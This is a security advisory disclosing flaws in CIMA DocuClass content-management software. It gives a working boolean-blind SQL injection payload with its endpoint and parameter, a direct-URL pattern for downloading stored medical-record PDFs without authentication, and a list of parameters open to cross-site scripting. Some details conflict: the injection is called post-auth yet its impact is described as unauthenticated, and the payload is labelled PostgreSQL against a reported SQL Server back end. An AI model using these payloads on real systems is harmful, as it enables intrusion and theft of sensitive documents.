CIMA DocuClass ECM – Multiple Vulnerabilities
# Exploit Title: [CIMA DocuClass Enterprise Content Management - Multiple Vulnerabilities] # Date: [July 15, 2016] # Exploit Author: [Karn Ganeshen (ipositivesecurity.blogspot.com)] # Vendor Homepage: [cima-software.com] # Version: [app version] (All) # Tested on: [Microsoft Windows 2008 R2] DocuClass is a modular and scalable enterprise content management (ECM) solution that allows organizations to streamline internal operations by significantly improving the way they manage their information within a business process. Vulnerability Details 1. SQL Injection [Post Auth] PoC Vulnerable URLs & parameters: A: POST request /dcrpcserver.php [parameter - uid] --- Parameter: uid (POST) Type: boolean-based blind Title: PostgreSQL boolean-based blind - Parameter replace Payload: cmd=searchform&action=getsavedqueries&node=&uid=(SELECT (CASE WHEN (7877=7877) THEN 7877 ELSE 1/(SELECT 0) END)) --- web server operating system: Windows 2008 R2 or 7 web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.5 back-end DBMS: Microsoft SQL Server 2008 Impact An unauthenticated attacker can read or modify data in the application database, execute code, and compromise the host system. B: GET request /e-forms/dcformsserver.exe?action=createimagepdf&documentid=1408648&userid=755 [parameter - userid] 2. Access Control Flaws DocuClass web application does not enforce strict access control. PoC: http://IP/medical_records/0000001337/0000000000123456.pdf Dump all the documents with a bit of scripting. Impact An unauthenticated user can access stored documents by directly calling the document url. 3. Cross-Site Scripting DocuClass web application lacks strong input validation, and multiple urls & parameters are vulnerable to cross-site scripting (CWE-79) attacks. /e-forms/dcformsserver.exe [action parameter] /e-forms/dcformsserver.exe [documentid parameter] /e-forms/dcformsserver.exe [userid parameter] /reports_server.php [cmd parameter] /reports_server.php [reportid parameter] /reports_server.php [uid parameter] Impact An attacker may be able to execute arbitrary scripts/code in the context of the user's browser. +++++ |